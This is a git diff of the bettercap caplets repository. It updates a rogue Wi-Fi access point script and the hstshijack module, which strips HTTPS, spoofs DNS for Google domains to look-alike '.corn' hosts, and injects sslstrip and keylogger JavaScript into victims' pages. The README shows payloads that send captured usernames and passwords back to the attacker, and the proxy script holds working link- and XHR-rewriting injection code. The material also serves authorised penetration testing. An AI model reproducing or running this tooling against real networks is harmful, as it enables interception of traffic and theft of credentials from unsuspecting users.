diff --git a/ap.cap b/ap.cap
index 24a2fe9..635c9a7 100644
--- a/ap.cap
+++ b/ap.cap
@@ -1,16 +1,24 @@
-set api.rest.username changeme 
-set api.rest.password changeme
-set api.rest.address 0.0.0.0
+# interface to use to create the AP
+set wifi.ap.interface wlx00c0ca96e4b2
+# interface for upstream connectivity, comment to disable
+set wifi.ap.upstream wlp1s0
+# comment to create a free access point
+set wifi.ap.passphrase 12345678
+
+# enable the ap
+wifi.ap on
+
+# wait 2 seconds then set the session interface to the AP one
+sleep 2
+iface wlx00c0ca96e4b2
 
 set net.sniff.local true
 set net.sniff.verbose false
 set net.sniff.filter not arp and not udp port 53
 
-events.stream off
-events.clear 
-
-set events.stream.filter endpoint.
-events.stream on
-
-api.rest on
+# start recon for clients
+net.recon on
+# sniff
 net.sniff on
+# run the https-ui caplet because it's cool
+https-ui
diff --git a/hstshijack/README.md b/hstshijack/README.md
index 78ee6e6..5c926f4 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -1,103 +1,137 @@
 <p align="center">
-  <img width="420px" src="https://cdn.rawgit.com/yungtravla/cdn/ccdc3b8d/github.com/bettercap/caplets/hstshijack/logo.svg" />
+  <img width="420px" src="https://raw.githubusercontent.com/buffermet/cdn/master/github.com/bettercap/caplets/hstshijack/logo.svg" />
 </p>
 
 ### Caplet
 
 ```sh
-set hstshijack.log             /usr/local/share/bettercap/caplets/hstshijack/ssl.log
-set hstshijack.ignore          *
-set hstshijack.targets         *.facebook.com, *.bing.com, www.*, *.com, *.net,*.org
-set hstshijack.replacements    *.facebook.corn,*.bing.corn,wvvw.*,*.corn,*.nel,*.orq
-#set hstshijack.blockscripts    facebook.com,*.facebook.com
-set hstshijack.obfuscate       false
-set hstshijack.encode          true
-set hstshijack.payloads        *:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google.js
+# Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack
+
+# Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads'
+# variables get precendence over those assigned to the 'hstshijack.ignore' variable.
+set hstshijack.targets         *.google.com, google.com, gstatic.com, *.gstatic.com
+set hstshijack.replacements    *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
+set hstshijack.ssl.domains     /usr/local/share/bettercap/caplets/hstshijack/domains.txt
+set hstshijack.ssl.index       /usr/local/share/bettercap/caplets/hstshijack/index.json
+set hstshijack.ssl.check       true
+#set hstshijack.blockscripts    example.com,*.example.com
+set hstshijack.obfuscate       true
+set hstshijack.payloads        *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
+#set hstshijack.ignore          *
 
 set http.proxy.script  /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js
-set dns.spoof.domains  wvvw.*,*.corn,*.nel,*.orq
+http.proxy on
 
-http.proxy  on
-dns.spoof   on
+set dns.spoof.domains  *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
+set dns.spoof.all      true
+dns.spoof on
 ```
 
-### Core payload
+### <a href="./payloads/hijack.js">**hijack.js**</a> payload
 
-This module injects HTML & JS files with a payload that spoofs your targeted hostnames and communicates with bettercap, revealing all URLs that were discovered in the injected document.
+This module injects files with a JavaScript payload (<a href="./payloads/hijack.js">**hijack.js**</a>) which acts as a callback for bettercap, and takes care of hostname spoofing in attributes of injected documents, as well as XMLHttpRequest.
 
-When bettercap receives a callback with a new URL, it sends a HEAD request to learn whether the host in this URL sends HTTPS redirects, and keeps a log.
+Injecting <a href="./payloads/hijack.js">**hijack.js**</a> is essential for hostname spoofing.
 
-This is done so that bettercap can know whether it should MITM an SSL connection with a host, before the victim navigates to it.
+### Scalable domain indexing (SSL log)
 
-### Inject payloads
+<br>
 
-You can also inject your own JavaScript payloads into HTML & JS files from specific hosts by assigning them to the `hstshijack.payloads` variable.
+<p align="center">
+  <img width="420px" src="https://user-images.githubusercontent.com/29265684/94715357-b44c3800-0390-11eb-82f3-6948aeff27f2.png" />
+</p>
 
-Example:
+When hosts respond with an HTTPS redirect, bettercap will save their hostnames in a list and keep track of the index ranges of these hostnames sorted by each character's Unicode code point value, allowing the list to scale by reducing a considerable amount of overhead for the proxy module.
+
+By default, this caplet will remap the index ranges on launch of all the domains that were found in the file that you assigned to the `hstshijack.ssl.domains` variable (to ensure that it is still in the right format). You can skip this by setting the `hstshijack.ssl.check` variable value to `false`.
+
+Bettercap will also send a HEAD request to unknown hosts that were discovered in the injected document and retrieved via a callback from the <a href="./payloads/hijack.js">**hijack.js**</a> payload. This is done to learn what hosts use HTTPS, ahead of time.
+
+Hostnames that you target with the `hstshijack.targets` variable are automatically logged and indexed.
+
+### Hostname spoofing
+
+In the <a href="./hstshijack.cap">**caplet file**</a> you can assign comma separated domains to the `hstshijack.targets` variable. _(wildcard allowed)_
+
+For every targeted hostname you must specify a replacement hostname, like this:
 
 ```sh
-hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google.js
+set hstshijack.targets       google.com, *.google.com
+set hstshijack.replacements  google.corn,*.google.corn
 ```
 
-Once the payload is injected into a page, you can technically phish any data unless the client navigates to a URL that either has strict transport security rules enforced by their browser, or the URL was not stripped due to JavaScript security.
+You can try to make them as unnoticeable as you can, but your options are limited here in terms of evading HSTS.
 
-<a href="./payloads/sslstrip.js">**sslstrip.js**</a> is included, which strips the `s` from all `https` instances in `<a>`, `<form>`, `<iframe>` and `<script>` elements.
+### Block scripts
 
-### Obfuscation
+In the <a href="./hstshijack.cap">**caplet file**</a> you can block JavaScript from hosts by assigning them to the `hstshijack.blockscripts` variable. _(wildcard allowed)_ 
+
+### Custom payloads
 
-By setting `hstshijack.obfuscate` to `true`, any instance in your payloads beginning with `obf_` will be obfuscated automatically. It's good practice to include unique prefixes/suffixes so that your variable names do not match those in other payloads.
+You can also inject your own scripts into files from your specified hosts by assigning them to the `hstshijack.payloads` variable.
+
+Custom payloads are (optionally) obfuscated at launch, executed synchronously, and wrapped inside a function that is defined as a property of the current JavaScript context (globalThis). This is done to ensure that your payload is only executed once per application, even if injected multiple times. Individual payloads are not failsafe, so you must set your conditions/try and catch blocks yourself.
 
 Example:
 
+```sh
+set hstshijack.payloads        *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
+```
+
+You should always inject the <a href="./payloads/hijack.js">**hijack.js**</a> payload when spoofing hostnames.
+
+### Obfuscation
+
+You can write custom payloads that are automatically obfuscated by the module.
+
+Basically, every word that was found beginning with `obf_` will be obfuscated.
+
+Example: 
+
 ```js
-function obf_function_mySuffix() {
+function obf_function() {
   alert("Random variable: obf_whatever_follows")
 }
 
-obf_function_mySuffix()
+obf_function()
 ```
 
 Will be injected as:
 
 ```js
 function jfIleNwmKoa() {
-  alert("Random variable: AsjZnJW")
+  alert("Random variable: AsjZnJWklwMNqshCaloE")
 }
 
 jfIleNwmKoa()
 ```
 
-### Encoding
-
-Payloads can be injected in HTML documents using base64 encoded data URLs.
-
-To enable payload encoding, set `hstshijack.encode` to `true`.
-
 ### Silent callbacks
 
-You can write custom payloads that send data to bettercap without alerting the host.
+You can have your payloads send callbacks to your machine that bettercap will print, but not proxy.
 
 Example of a silent callback:
 
 ```js
 form.onsubmit = function() {
   req = new XMLHttpRequest()
-  req.open("POST", "http://" + location.host + "/obf_path_callback?email=" + email + "&password=" + password)
+  req.open("POST", "http://" + location.host + "/obf_path_callback?username=" + username + "&password=" + password)
   req.send()
 }
 ```
-<sup>Note: Every instance of `obf_path_callback` will be replaced with the callback path, every instance of `obf_path_whitelist` will be replaced with the whitelist path, and every instance of `obf_path_ssl_log` will be replaced with the SSL log path.</sup>
 
-The code above will send a POST request that will be sniffed by bettercap, but not proxied. 
+The following POST request will be sniffed by bettercap, but not proxied (the request will be dropped). 
+
+Any instance of `obf_path_callback` will be replaced with the callback path (see example above).
 
 ### Whitelisting callbacks
 
-You can stop attacking a client on a certain host when you receive a request from that client for the whitelist path. The whitelist path will be inserted wherever you have `obf_path_whitelist` written in your payloads.
+You can automatically terminate an attack between specific clients and hosts by making the client's machine initiate a whitelisting callback.
 
-Example of whitelisting callbacks:
+Example of multiple whitelisting callbacks:
 
 ```js
-// Whitelist multiple domains
+// Whitelist multiple hosts to ensure the intended resources will load.
 
 form.onsubmit = function() {
   // Whitelist current hostname and phish credentials
@@ -122,29 +156,6 @@ form.onsubmit = function() {
 }
 ```
 
-When the bettercap proxy receives such a request, it will stop attacking clients on the requested (original and spoofed) host(s). If a spoofed location is requested that was whitelisted, the client will then be redirected to the intended location.
-
-Note that if the hostnames you are whitelisting are HSTS preloaded, you have to send the whitelist callback to the spoofed hostnames, otherwise the browser will enforce a HTTPS connection, and bettercap will not be able to intercept the requests.
-
-### Block scripts
-
-In the <a href="./hstshijack.cap">**caplet file**</a> you can block JavaScript on hosts by assigning them to the `hstshijack.blockscripts` variable. _(wildcard allowed)_ 
-
-### SSL log
-
-If a host responds with a HTTPS redirect, the module saves this host in the SSL log, and bettercap will from then on spoof SSL connections with this host when possible.
-
-### Hostname spoofing
-
-In the <a href="./hstshijack.cap">**caplet file**</a> you can assign comma separated domains to the `hstshijack.targets` variable. _(wildcard allowed)_
-
-For every hostname you assign to `hstshijack.targets` you must assign a replacement domain to the `hstshijack.replacements` variable.
-
-Example:
-
-```sh
-set hstshijack.targets       www.*, *.com, blockchain.info,*.blockchain.info
-set hstshijack.replacements  wvvw.*,*.corn,blockchian.info,*.blockchian.info
-```
+When a request is sent as above, bettercap will stop spoofing connections between the sender and the requested host.
 
-You can try to make them as unnoticeable or obvious as you like, but your options are limited here.
+If any resource from a spoofed host is requested that was previously whitelisted for that client, then that client will be redirected to the intended (unspoofed) host.
diff --git a/hstshijack/domains.txt b/hstshijack/domains.txt
new file mode 100644
index 0000000..e69de29
diff --git a/hstshijack/hstshijack.cap b/hstshijack/hstshijack.cap
index f27b2b7..84be096 100644
--- a/hstshijack/hstshijack.cap
+++ b/hstshijack/hstshijack.cap
@@ -1,16 +1,21 @@
-# Documentation can be found at https://github.com/bettercap/caplets/blob/master/hstshijack/README.md
+# Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack
 
-set hstshijack.log             /usr/local/share/bettercap/caplets/hstshijack/ssl.log
-set hstshijack.ignore          *
-set hstshijack.targets         *.facebook.com, *.bing.com, www.*, *.com, *.net,*.org
-set hstshijack.replacements    *.facebook.corn,*.bing.corn,wvvw.*,*.corn,*.nel,*.orq
-#set hstshijack.blockscripts    facebook.com,*.facebook.com
-set hstshijack.obfuscate       false
-set hstshijack.encode          true
-set hstshijack.payloads        *:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/firefox-bypass-password-warning.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google.js
+# Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads'
+# variables get precendence over those assigned to the 'hstshijack.ignore' variable.
+set hstshijack.targets         *.google.com, google.com, gstatic.com, *.gstatic.com
+set hstshijack.replacements    *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
+set hstshijack.ssl.domains     /usr/local/share/bettercap/caplets/hstshijack/domains.txt
+set hstshijack.ssl.index       /usr/local/share/bettercap/caplets/hstshijack/index.json
+set hstshijack.ssl.check       true
+#set hstshijack.blockscripts    example.com,*.example.com
+set hstshijack.obfuscate       true
+set hstshijack.payloads        *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
+#set hstshijack.ignore          *
 
 set http.proxy.script  /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js
-set dns.spoof.domains  wvvw.*,*.corn,*.nel,*.orq
+http.proxy on
+
+set dns.spoof.domains  *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
+set dns.spoof.all      true
+dns.spoof on
 
-http.proxy  on
-dns.spoof   on
diff --git a/hstshijack/hstshijack.js b/hstshijack/hstshijack.js
index 386b95d..9279aef 100644
--- a/hstshijack/hstshijack.js
+++ b/hstshijack/hstshijack.js
@@ -1,141 +1,40 @@
+/*
+ * Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack
+ */
 
-/* Declare variables */
-
-var ssl_log = [],
-    whitelist = {}
+var ssl = {
+  "domains": [],
+  "index": {},
+  "hierarchy": "-.0123456789abcdefghijklmnopqrstuvwxyz"
+};
 
 var payload,
-    payload_container = new String(
-    	"if (!self.{{SESSION_ID_TAG}}) {\n" + 
-    	"	self.{{SESSION_ID_TAG}} = function() {\n" + 
-    	"		var obf_var_callback_log_121737 = [];\n" + 
-    	"		function obf_func_toWholeRegexp_121737(obf_var_selector_string_121737, obf_var_replacement_string_121737) {\n" + 
-    	"			obf_var_selector_string_121737 = obf_var_selector_string_121737.replace(/\\./g, \"\\\\.\");\n" + 
-    	"			obf_var_selector_string_121737 = obf_var_selector_string_121737.replace(/\\-/g, \"\\\\-\");\n" + 
-    	"			return [\n" + 
-    	"				new RegExp(\"^\" + obf_var_selector_string_121737 + \"$\", \"ig\"),\n" + 
-    	"				obf_var_replacement_string_121737\n" + 
-    	"			];\n" + 
-    	"		}\n" + 
-    	"		function obf_func_toWholeWildcardRegexp_121737(obf_var_selector_string_121737, obf_var_replacement_string_121737) {\n" + 
-    	"			obf_var_selector_string_121737 = obf_var_selector_string_121737.replace(/\\-/g, \"\\\\-\");\n" + 
-    	"			if ( obf_var_selector_string_121737.match(/^\\*./) ) {\n" + 
-    	"				obf_var_selector_string_121737 = obf_var_selector_string_121737.replace(/^\\*\\./, \"((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)\");\n" + 
-    	"				obf_var_selector_string_121737 = obf_var_selector_string_121737.replace(/\\./g, \"\\\\.\");\n" + 
-    	"				obf_var_replacement_string_121737 = obf_var_replacement_string_121737.replace(/^\\*\\./, \"\");\n" + 
-    	"				return [\n" + 
-    	"					new RegExp(\"^\" + obf_var_selector_string_121737 + \"$\", \"ig\"),\n" + 
-    	"					\"$1\" + obf_var_replacement_string_121737\n" + 
-    	"				];\n" + 
-    	"			} else if ( obf_var_selector_string_121737.match(/\\.\\*$/) ) {\n" + 
-    	"				obf_var_selector_string_121737 = obf_var_selector_string_121737.replace(/\\.\\*/g, \"((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)\");\n" + 
-    	"				obf_var_selector_string_121737 = obf_var_selector_string_121737.replace(/\\./g, \"\\\\.\");\n" + 
-    	"				obf_var_replacement_string_121737 = obf_var_replacement_string_121737.replace(/\\.\\*$/, \"\");\n" + 
-    	"				return [\n" + 
-    	"					new RegExp(obf_var_selector_string_121737, \"ig\"),\n" + 
-    	"					obf_var_replacement_string_121737 + \"$1\"\n" + 
-    	"				];\n" + 
-    	"			}\n" + 
-    	"		}\n" + 
-    	"		function obf_func_toWholeRegexpSet_121737(obf_var_selector_string_121737, obf_var_replacement_string_121737) {\n" + 
-    	"			if ( obf_var_selector_string_121737.indexOf(\"*\") != -1 ) {\n" + 
-    	"				return obf_func_toWholeWildcardRegexp_121737(obf_var_selector_string_121737, obf_var_replacement_string_121737);\n" + 
-    	"			} else {\n" + 
-    	"				return obf_func_toWholeRegexp_121737(obf_var_selector_string_121737, obf_var_replacement_string_121737);\n" + 
-    	"			}\n" + 
-    	"		}\n" + 
-    	"		{{VARIABLES_TAG}}\n" + 
-    	"		function obf_func_hstshijack_121737(obf_host_121737) {\n" + 
-    	"			for (obf_var_i_121737 = 0; obf_var_i_121737 < obf_var_target_hosts.length; obf_var_i_121737++) {\n" + 
-    	"				obf_var_whole_regexp_set_121737 = obf_func_toWholeRegexpSet_121737(obf_var_target_hosts[obf_var_i_121737], obf_var_replacement_hosts[obf_var_i_121737]);\n" + 
-    	"				if (obf_host_121737.match(obf_var_whole_regexp_set_121737[0])) {\n" + 
-    	"					obf_host_121737 = obf_host_121737.replace(obf_var_whole_regexp_set_121737[0], obf_var_whole_regexp_set_121737[1]);\n" + 
-    	"					break;\n" + 
-    	"				}\n" + 
-    	"			}\n" + 
-    	"			return obf_host_121737;\n" + 
-    	"		}\n" + 
-    	"		function obf_func_attack_XMLHttpRequest_121737() {\n" + 
-    	"			var obf_func_open_121737 = XMLHttpRequest.prototype.open;\n" + 
-    	"			XMLHttpRequest.prototype.open = function(obf_var_method_121737, obf_var_url_121737, obf_var_async_121737, obf_var_username_121737, obf_var_password_121737) {\n" + 
-        "               obf_var_host_121737 = obf_var_url_121737.replace(/^(?:[a-z]+:\\/\\/)?([^:/?#]*).*/i, \"$1\");\n" + 
-        "               obf_var_hijacked_host_121737 = obf_func_hstshijack_121737(obf_var_host_121737);\n" + 
-    	"				obf_var_path_121737 = obf_var_url_121737.replace(/(?:[a-z]+:\\/\\/)?.*([:/?#].*)/i, \"$1\");\n" + 
-    	"				obf_var_url_121737 = obf_var_url_121737.replace(/^(http)s:\\/\\//i, \"$1://\").replace(obf_var_host_121737, obf_var_hijacked_host_121737).replace(/:443([^0-9]|$)/, \"$1\");\n" + 
-    	"				return obf_func_open_121737.apply(this, arguments);\n" + 
-    	"			}\n" + 
-    	"		}\n" + 
-    	"		function obf_func_callback_121737(obf_var_data_121737) {\n" + 
-    	"			obf_var_req_121737 = new XMLHttpRequest();\n" + 
-    	"			obf_var_req_121737.open(\"GET\", \"http://\" + location.host + \"/obf_path_ssl_log?\" + obf_var_data_121737, true);\n" + 
-    	"			obf_var_req_121737.send();\n" + 
-    	"		}\n" + 
-    	"		function obf_func_attack_121737() {\n" + 
-    	"			try {\n" + 
-    	"				obf_var_regexp_121737 = new RegExp(\"http[s]?:\\\\/\\\\/((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.)+(?:[a-z]{1,63}))\", \"ig\");\n" + 
-    	"				obf_var_urls_121737 = document.body.innerHTML.match(obf_var_regexp_121737);\n" + 
-    	"				for (var obf_var_i_121737 = 0; obf_var_i_121737 < obf_var_urls_121737.length; obf_var_i_121737++) {\n" + 
-    	"					obf_var_host_121737 = obf_var_urls_121737[obf_var_i_121737].replace(obf_var_regexp_121737, \"\");\n" + 
-    	"					if (obf_var_callback_log_121737.indexOf(obf_var_host_121737) == -1) {\n" + 
-    	"						obf_func_callback_121737(btoa(obf_var_host_121737));\n" + 
-    	"						obf_var_callback_log_121737.push(obf_var_host_121737);\n" + 
-    	"					}\n" + 
-    	"				}\n" + 
-    	"			} catch(obf_var_ignore_121737){}\n" + 
-    	"			try {\n" + 
-    	"				document.querySelectorAll(\"a,form,script,iframe\").forEach(function(obf_var_node_121737){\n" + 
-    	"					obf_var_url_121737 = \"\";\n" + 
-    	"					switch (obf_var_node_121737.tagName) {\n" + 
-    	"						case \"A\": obf_var_node_121737.href ? obf_var_url_121737 = obf_var_node_121737.href : \"\"; break;\n" + 
-    	"						case \"FORM\": obf_var_node_121737.action ? obf_var_url_121737 = obf_var_node_121737.action : \"\"; break;\n" + 
-    	"						case \"SCRIPT\": obf_var_node_121737.src ? obf_var_url_121737 = obf_var_node_121737.src : \"\"; break;\n" + 
-    	"						case \"IFRAME\": obf_var_node_121737.src ? obf_var_url_121737 = obf_var_node_121737.src : \"\"; break;\n" + 
-    	"					}\n" + 
-    	"					if (obf_var_url_121737.match(/^http[s]?:\\/\\/(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\.)+[a-z]{1,63}(?:[:/?#].*$)?/i)) {\n" + 
-    	"						obf_var_path_121737 = obf_var_url_121737.replace(/^http[s]?:\\/\\/[^:/?#]+([:/?#].*$)?/i, \"$1\");\n" + 
-    	"						obf_var_host_121737 = obf_func_hstshijack_121737(obf_var_url_121737.replace(/^http[s]?:\\/\\/([^:/?#]+).*/i, \"$1\"));\n" + 
-    	"						switch (obf_var_node_121737.tagName) {\n" + 
-    	"							case \"A\": obf_var_node_121737.href ? obf_var_node_121737.href = \"http://\" + obf_var_host_121737 + obf_var_path_121737 : \"\"; break;\n" + 
-    	"							case \"FORM\": obf_var_node_121737.action ? obf_var_node_121737.action = \"http://\" + obf_var_host_121737 + obf_var_path_121737 : \"\"; break;\n" + 
-    	"							case \"SCRIPT\": obf_var_node_121737.src ? obf_var_node_121737.src = \"http://\" + obf_var_host_121737 + obf_var_path_121737 : \"\"; break;\n" + 
-    	"							case \"IFRAME\": obf_var_node_121737.src ? obf_var_node_121737.src = \"http://\" + obf_var_host_121737 + obf_var_path_121737 : \"\"; break;\n" + 
-    	"						}\n" + 
-    	"					}\n" + 
-    	"				});\n" + 
-    	"			} catch(obf_var_ignore_121737){}\n" + 
-    	"		}\n" + 
-    	"		setInterval(function(){\n" + 
-    	"			obf_func_attack_121737();\n" + 
-    	"		}, 666);\n" + 
-    	"		try {\n" + 
-    	"			document.addEventListener(\"DOMContentLoaded\", obf_func_attack_121737);\n" + 
-        "           obf_func_attack_XMLHttpRequest_121737();\n" + 
-    	"		} catch(obf_var_ignore_121737) {\n" + 
-    	"			self.addEventListener(\"load\", obf_func_attack_121737);\n" + 
-    	"			self.addEventListener(\"load\", obf_func_attack_XMLHttpRequest_121737);\n" + 
-    	"		}\n" + 
-    	"		obf_func_attack_121737();\n" + 
-    	"		{{CUSTOM_PAYLOAD_TAG}}\n" + 
-    	"	}\n" + 
-    	"	self.{{SESSION_ID_TAG}}();\n" + 
-    	"}\n")
+    payload_container_prefix = (
+      "if (!globalThis.{{SESSION_ID_TAG}}) {\n" +
+         "globalThis.{{SESSION_ID_TAG}} = function() {\n"),
+    payload_container_suffix = (
+         "\n}\n" +
+         "globalThis.{{SESSION_ID_TAG}}();\n" +
+      "}\n");
 
 var ignore_hosts       = [],
     target_hosts       = [],
     replacement_hosts  = [],
-    block_script_hosts = [],
-    payloads
+    block_script_hosts = [];
 
-var obfuscate
+var payloads = {},
+    obfuscate;
 
 var callback_path,
     whitelist_path,
-    ssl_log_path,
+    ssl_index_path,
     session_id,
-    var_target_hosts,
-    var_replacement_hosts
+    varname_target_hosts,
+    varname_replacement_hosts;
+
+var math_seed;
 
-var math_seed
+var whitelist = {};
 
 var red      = "\033[31m",
     yellow   = "\033[33m",
@@ -145,697 +44,932 @@ var red      = "\033[31m",
     on_grey  = "\033[40;37m",
     on_blue  = "\033[104;30m",
     bold     = "\033[1;37m",
-    reset    = "\033[0m"
-
-/* Declare functions */
+    reset    = "\033[0m";
 
 function randomFloat() {
-	r = Math.sin(math_seed++) * 10000
-	return r - Math.floor(r)
+  r = Math.sin(math_seed++) * 10000;
+  return r - Math.floor(r);
 }
 
 function randomString(length) {
-	var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
-	    buff  = ""
-	while (buff.length < length) {
-		index = parseInt( Math.random() * chars.length )
-		buff = buff + chars.charAt(index)
-	}
-	return buff
+  length = parseInt(length);
+  var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
+      buff  = new Array(length);
+  for (var a = 0; a < buff.length; a++) {
+    index = parseInt(Math.random() * chars.length);
+    buff[a] = chars.charAt(index)
+  }
+  return buff.join("");
 }
 
 function toRegexp(selector_string, replacement_string) {
-	selector_string = selector_string.replace(/\./g, "\\.")
-	selector_string = selector_string.replace(/\-/g, "\\-")
-	return [
-		new RegExp("([^a-z0-9-.]|^)" + selector_string + "([^a-z0-9-.]|$)", "ig"),
-		"$1" + replacement_string + "$2"
-	]
+  selector_string = selector_string.replace(/\./g, "\\.");
+  selector_string = selector_string.replace(/\-/g, "\\-");
+  return [
+    new RegExp("(^|[^a-z0-9-.])" + selector_string + "($|[^a-z0-9-.])", "ig"),
+    "$1" + replacement_string + "$2"
+  ];
 }
 
 function toWholeRegexp(selector_string, replacement_string) {
-	selector_string = selector_string.replace(/\./g, "\\.")
-	selector_string = selector_string.replace(/\-/g, "\\-")
-	return [
-		new RegExp("^" + selector_string + "$", "ig"),
-		replacement_string
-	]
+  selector_string = selector_string.replace(/\./g, "\\.");
+  selector_string = selector_string.replace(/\-/g, "\\-");
+  return [
+    new RegExp("^" + selector_string + "$", "ig"),
+    replacement_string
+  ];
 }
 
 function toWildcardRegexp(selector_string, replacement_string) {
-	selector_string = selector_string.replace(/\-/g, "\\-")
-	if ( selector_string.match(/^\*./) ) {
-		selector_string = selector_string.replace(/^\*\./, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)")
-		selector_string = selector_string.replace(/\./g, "\\.")
-		replacement_string = replacement_string.replace(/^\*\./, "")
-		return [
-			new RegExp(selector_string, "ig"),
-			"$1" + replacement_string
-		]
-	} else if ( selector_string.match(/\.\*$/) ) {
-		selector_string = selector_string.replace(/\.\*$/g, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)")
-		selector_string = selector_string.replace(/\./g, "\\.")
-		replacement_string = replacement_string.replace(/\.\*$/, "")
-		return [
-			new RegExp(selector_string, "ig"),
-			replacement_string + "$1"
-		]
-	} else {
-		log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardRegexp() value (got " + selector_string + ").")
-	}
+  selector_string = selector_string.replace(/\-/g, "\\-");
+  if (selector_string.match(/^\*./)) {
+    selector_string = selector_string.replace(/^\*\./, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+    selector_string = selector_string.replace(/\./g, "\\.");
+    replacement_string = replacement_string.replace(/^\*\./, "");
+    return [
+      new RegExp(selector_string, "ig"),
+      "$1" + replacement_string
+    ];
+  } else if (selector_string.match(/\.\*$/)) {
+    selector_string = selector_string.replace(/\.\*$/g, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+    selector_string = selector_string.replace(/\./g, "\\.");
+    replacement_string = replacement_string.replace(/\.\*$/, "");
+    return [
+      new RegExp(selector_string, "ig"),
+      replacement_string + "$1"
+    ];
+  } else {
+    log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardRegexp() value (got " + selector_string + ").");
+  }
 }
 
 function toWholeWildcardRegexp(selector_string, replacement_string) {
-	selector_string = selector_string.replace(/\-/g, "\\-")
-	if ( selector_string.match(/^\*./) ) {
-		selector_string = selector_string.replace(/^\*\./, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)")
-		selector_string = selector_string.replace(/\./g, "\\.")
-		replacement_string = replacement_string.replace(/^\*\./, "")
-		return [
-			new RegExp("^" + selector_string + "$", "ig"),
-			"$1" + replacement_string
-		]
-	} else if ( selector_string.match(/\.\*$/) ) {
-		selector_string = selector_string.replace(/\.\*/g, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)")
-		selector_string = selector_string.replace(/\./g, "\\.")
-		replacement_string = replacement_string.replace(/\.\*$/, "")
-		return [
-			new RegExp(selector_string, "ig"),
-			replacement_string + "$1"
-		]
-	} else {
-		log_error(on_blue + "hstshijack" + reset + " Invalid toWholeWildcardRegexp() value (got " + selector_string + ").")
-	}
+  selector_string = selector_string.replace(/\-/g, "\\-");
+  if (selector_string.match(/^\*./)) {
+    selector_string = selector_string.replace(/^\*\./, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+    selector_string = selector_string.replace(/\./g, "\\.");
+    replacement_string = replacement_string.replace(/^\*\./, "");
+    return [
+      new RegExp("^" + selector_string + "$", "ig"),
+      "$1" + replacement_string
+    ];
+  } else if (selector_string.match(/\.\*$/)) {
+    selector_string = selector_string.replace(/\.\*/g, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+    selector_string = selector_string.replace(/\./g, "\\.");
+    replacement_string = replacement_string.replace(/\.\*$/, "");
+    return [
+      new RegExp(selector_string, "ig"),
+      replacement_string + "$1"
+    ];
+  } else {
+    log_error(on_blue + "hstshijack" + reset + " Invalid toWholeWildcardRegexp() value (got " + selector_string + ").");
+  }
 }
 
-// Matches (^|[^a-zA-Z0-9-.])example.com($|[^a-zA-Z0-9-.])
+/* Matches /(^|[^a-z0-9-.])example\.com($|[^a-z0-9-.])/ig */
 function toRegexpSet(selector_string, replacement_string) {
-	if ( selector_string.indexOf("*") != -1 ) {
-		return toWildcardRegexp(selector_string, replacement_string)
-	} else {
-		return toRegexp(selector_string, replacement_string)
-	}
+  if (selector_string.indexOf("*") != -1) {
+    return toWildcardRegexp(selector_string, replacement_string);
+  } else {
+    return toRegexp(selector_string, replacement_string);
+  }
 }
 
-// Matches ^example.com$
+/* Matches ^example.com$ */
 function toWholeRegexpSet(selector_string, replacement_string) {
-	if ( selector_string.indexOf("*") != -1 ) {
-		return toWholeWildcardRegexp(selector_string, replacement_string)			
-	} else {
-		return toWholeRegexp(selector_string, replacement_string)
-	}
+  if (selector_string.indexOf("*") != -1) {
+    return toWholeWildcardRegexp(selector_string, replacement_string);
+  } else {
+    return toWholeRegexp(selector_string, replacement_string);
+  }
+}
+
